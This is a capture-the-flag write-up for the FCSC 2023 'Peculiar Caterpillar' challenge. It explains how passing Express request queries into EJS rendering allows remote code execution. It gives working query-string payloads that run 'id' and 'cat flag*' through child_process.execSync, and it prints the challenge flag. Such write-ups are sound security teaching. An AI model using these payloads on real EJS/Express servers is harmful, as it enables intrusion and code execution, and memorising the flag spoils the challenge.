Peculiar Caterpillar
Description: As Alice wandered through Wonderland, she stumbled upon a peculiar caterpillar. To her surprise, the caterpillar boasted that it had built its very own website using Javascript. Although the website appeared to be straightforward, Alice couldn’t help but wonder if it was truly secure.
curl https://hackropole.fr/challenges/fcsc2023-web-peculiar-caterpillar/docker-compose.public.yml -o docker-compose.yml
docker compose up
Then, visits the challenge at http://localhost:8000/.
Introduction
We have a nodejs application and our goal is to read the flag located in the file /app/flag-<random_hex>.txt
.
const express = require("express");
const morgan = require("morgan");
const app = express();
app.use(morgan("combined"));
app.set("view engine", "ejs")
app.set("trust proxy", true);
app.use((req, res) => res.render("index", { name: "World", ...req.query }));
app.listen(8000);
This application uses Embedded JavaScript templates (EJS), which is a NodeJS library very often used by Express to create HTML templates.
RCE in EJS
The following code is inside EJS (lib/ejs.js - v3.1.9). If you control the value of both variables client
and escape
, you can get a RCE.
function Template(text, opts) {
// ...
options.client = opts.client || false;
options.escapeFunction = opts.escape || opts.escapeFunction || utils.escapeXML;
this.opts = options;
// ...
}
Template.prototype = {
// ...
compile: function () {
var opts = this.opts;
var escapeFn = opts.escapeFunction;
if (opts.client) {
src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
}
// ...
// src is evaluated later
}
}
Exploitation
req.query
will be equal to the options
parameter passed to the render
function of Express
.
require("express")()
.set("view engine", "ejs")
.use((req, res) => {
res.render("index", { ...req.query })
})
.listen(3000);
The render
function of Express
calls the renderFile
function of EJS.
render
=>renderFile
=>...
=>Template.new
=>Template.compile
Here is the code of the renderFile
function of EJS:
var _OPTS_PASSABLE_WITH_DATA = ['delimiter', 'scope', 'context', 'debug', 'compileDebug',
'client', '_with', 'rmWhitespace', 'strict', 'filename', 'async'];
// ...
exports.renderFile = function () {
var args = Array.prototype.slice.call(arguments);
var filename = args.shift(); // arg[0] = PATH of the template
var opts = {filename: filename};
// ...
data = args.shift(); // arg[1] = {
// "settings": env, view engine, etag, ...,
// query string,
// "cache": false
// }
viewOpts = data.settings['view options'];
if (viewOpts) {
utils.shallowCopy(opts, viewOpts);
}
// 'client' is allowed to be copied
utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS);
// ...
return tryHandleCache(opts, data, cb);
};
The opts
variable is then passed to the Template
object. So, we can get a RCE with the following query string.
?client=1&settings[view options][escape]=1;return+process.mainModule.require("child_process").execSync("id").toString();
This query string is equals to:
{
settings: {
'view options': {
escape: '1;return process.mainModule.require("child_process").execSync("id").toString();'
}
},
client: '1'
}
Flag
To get the flag, we will execute the command cat flag*
.
http://localhost:8000/?settings[view%20options][escape]=1;return+process.mainModule.require(%22child_process%22).execSync(%22cat%20flag*%22).toString();&client=1
The flag is: FCSC{232448f3783105b36ab9d5f90754417a4f17931b4bdeeb6f301af2db0088cef6}